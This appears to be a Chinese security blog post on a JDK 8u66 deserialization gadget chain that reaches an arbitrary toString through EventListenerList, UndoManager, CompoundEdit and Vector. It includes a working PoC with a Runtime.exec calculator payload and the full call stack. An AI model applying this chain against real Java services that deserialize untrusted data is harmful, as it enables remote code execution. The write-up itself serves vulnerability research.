EventListenerList触发任意toString

JDK原生触发toString的链子

依赖

jdk8u66

链子分析

EventListenerList 是 Swing 里保存监听器的类,实现了Serializable
链子

ObjectInputStream.readObject()
 -> EventListenerList.readObject()
 -> add(Class.forName(name), listener)
 -> add 里发现 listener 不是指定 Class 的实例
 -> 拼异常字符串:"Listener " + listener
 -> listener.toString()
 -> UndoManager.toString()
 -> CompoundEdit.toString()
 -> Vector.toString()
 -> Vector 里的任意对象.toString()

先来看

javax.swing.event.EventListenerList#readObject()

    private void readObject(ObjectInputStream s)
        throws IOException, ClassNotFoundException {
        listenerList = NULL_ARRAY;
        s.defaultReadObject();
        Object listenerTypeOrNull;

        while (null != (listenerTypeOrNull = s.readObject())) {
            ClassLoader cl = Thread.currentThread().getContextClassLoader();
            EventListener l = (EventListener)s.readObject();
            String name = (String) listenerTypeOrNull;
            ReflectUtil.checkPackageAccess(name);
            add((Class<EventListener>)Class.forName(name, true, cl), l);
        }
    }

image.png
可以看到有一个循环读取的功能,同时这一句EventListener l = (EventListener)s.readObject();返回Object类型,然后会在进行时强制类型转换为java.util.EventListener
若我们传入的listener对象没有实现EventListener就不会走到add()而是抛出ClassCastException
强硬条件就是:
listener 对象必须能转成 EventListener
listenerTypeOrNull 必须是 String

真正触发toString的是add()中的类型检查,我们跟进到add()看一下

public synchronized <T extends EventListener> void add(Class<T> t, T l) {  
    if (l==null) {  
        // In an ideal world, we would do an assertion here  
        // to help developers know they are probably doing        // something wrong        return;  
    }  
    if (!t.isInstance(l)) {  
        throw new IllegalArgumentException("Listener " + l +  
                                     " is not of type " + t);  
    }  
    if (listenerList == NULL_ARRAY) {  
        // if this is the first listener added,  
        // initialize the lists        listenerList = new Object[] { t, l };  
    } else {  
        // Otherwise copy the array and add the new listener  
        int i = listenerList.length;  
        Object[] tmp = new Object[i+2];  
        System.arraycopy(listenerList, 0, tmp, 0, i);  
  
        tmp[i] = t;  
        tmp[i+1] = l;  
  
        listenerList = tmp;  
    }  
}
image.png

其中有这样一个判断

if (!t.isInstance(l)) {
    throw new IllegalArgumentException(
        "Listener " + l + " is not of type " + t
    );
}

重点在"Listener " + l此处,java在进行字符串拼接时会隐式调用toString
所以我们只要让

t.isInstance(l) == false

就可以进入到异常分支了
接下来我们去寻找符合条件的对象

能被强转成 EventListener
能被序列化 Serializable
内部有toString方法

UndoManager(javax.swing.undo)正好满足
实现了 Serializable、EventListener、UndoableEditListener 等接口

UndoManager#toString()

public String toString() {  
    return super.toString() + " limit: " + limit +  
        " indexOfNextAdd: " + indexOfNextAdd;  
}

这里调用的还不是任意对象,但 UndoManager.toString() 会继续调用父类逻辑,父类 CompoundEdit 里有一个 edits 字段,这个字段是 Vector,我们跟进看一下

CompoundEdit#toString()

public String toString()  
{  
    return super.toString()  
        + " inProgress: " + inProgress  
        + " edits: " + edits;  
}

inProgress是布尔类型的,而edits是Value对象,会自动触发到他的toString方法
可以通过Vector#add()方法将我们的恶意类添加到其中

public CompoundEdit() {  
    super();  
    inProgress = true;  
    edits = new Vector<UndoableEdit>();  
}
public synchronized String toString() {  
    return super.toString();  
}

继续往上层回溯

AbstractCollection#toString()

public String toString() {  
    Iterator<E> it = iterator();  
    if (! it.hasNext())  
        return "[]";  
  
    StringBuilder sb = new StringBuilder();  
    sb.append('[');  
    for (;;) {  
        E e = it.next();  
        sb.append(e == this ? "(this Collection)" : e);  
        if (! it.hasNext())  
            return sb.append(']').toString();  
        sb.append(',').append(' ');  
    }  
}

image.png
关键在此处sb.append(e == this ? "(this Collection)" : e);相当于一个迭代器,我们跟进到StringBuilder.append()

public StringBuilder append(Object obj) {  
    return append(String.valueOf(obj));  
}

最后

public static String valueOf(Object obj) {  
    return (obj == null) ? "null" : obj.toString();  
}

可以看到这里就完成了任意类的toString调用了
image.png

POC

构造一个恶意类

import java.io.IOException;  
import java.io.Serializable;  
  
public class Test implements Serializable {  
    public String name;  
    public int age;  
  
    public Test(String name, int age) {  
        this.name = name;  
        this.age = age;  
    }  
    @Override  
    public String toString(){  
        Runtime runtime = Runtime.getRuntime();  
        try {  
            runtime.exec("open -a Calculator");  
        } catch (IOException e) {  
            throw new RuntimeException(e);  
        }  
        return "name: " + name + ", age: " + age;  
    }  
}

触发的POC

import javax.swing.event.EventListenerList;  
import javax.swing.undo.CompoundEdit;  
import javax.swing.undo.UndoManager;  
import java.io.ByteArrayInputStream;  
import java.io.ByteArrayOutputStream;  
import java.io.ObjectInputStream;  
import java.io.ObjectOutputStream;  
import java.lang.reflect.Field;  
import java.util.Base64;  
import java.util.Vector;  
  
public class EventListenerListPoc {  
    public static void main(String[] args) throws Exception {  
        Test evil = new Test("sun", 20);  
        EventListenerList payload = makePayload(evil);  
  
        byte[] data = serialize(payload);  
        System.out.println("[+] payload bytes length: " + data.length);  
        System.out.println("[+] payload base64:");  
        System.out.println(Base64.getEncoder().encodeToString(data));  
        System.out.println("[+] deserialize now, Test.toString() should be triggered");  
  
        try {  
            deserialize(data);  
        } catch (IllegalArgumentException expected) {  
            System.out.println("[+] chain reached toString(), then EventListenerList.add threw:");  
            System.out.println("    " + expected.getClass().getName());  
        }  
    }  
  
    private static EventListenerList makePayload(Object evil) throws Exception {  
        UndoManager undoManager = new UndoManager();  
  
        Vector<Object> edits = new Vector<Object>();  
        edits.add(evil);  
  
        setField(undoManager, CompoundEdit.class, "edits", edits);  
  
        EventListenerList eventListenerList = new EventListenerList();  
        setField(eventListenerList, EventListenerList.class, "listenerList",  
                new Object[]{Class.class, undoManager});  
  
        return eventListenerList;  
    }  
  
    private static byte[] serialize(Object object) throws Exception {  
        ByteArrayOutputStream bos = new ByteArrayOutputStream();  
        ObjectOutputStream oos = new ObjectOutputStream(bos);  
        oos.writeObject(object);  
        oos.close();  
        return bos.toByteArray();  
    }  
  
    private static Object deserialize(byte[] data) throws Exception {  
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(data));  
        return ois.readObject();  
    }  
  
    private static void setField(Object target, Class<?> ownerClass, String fieldName, Object value)  
            throws Exception {  
        Field field = ownerClass.getDeclaredField(fieldName);  
        field.setAccessible(true);  
        field.set(target, value);  
    }  
}

image.png
完整调用栈

toString:19, Test
valueOf:2994, String (java.lang)
append:131, StringBuilder (java.lang)
toString:462, AbstractCollection (java.util)
toString:1000, Vector (java.util)
valueOf:2994, String (java.lang)
append:131, StringBuilder (java.lang)
toString:258, CompoundEdit (javax.swing.undo)
toString:621, UndoManager (javax.swing.undo)
valueOf:2994, String (java.lang)
append:131, StringBuilder (java.lang)
add:187, EventListenerList (javax.swing.event)
readObject:277, EventListenerList (javax.swing.event)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:497, Method (java.lang.reflect)
invokeReadObject:1058, ObjectStreamClass (java.io)
readSerialData:1900, ObjectInputStream (java.io)
readOrdinaryObject:1801, ObjectInputStream (java.io)
readObject0:1351, ObjectInputStream (java.io)
readObject:371, ObjectInputStream (java.io)
unserialize:68, POC
main:15, POC

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇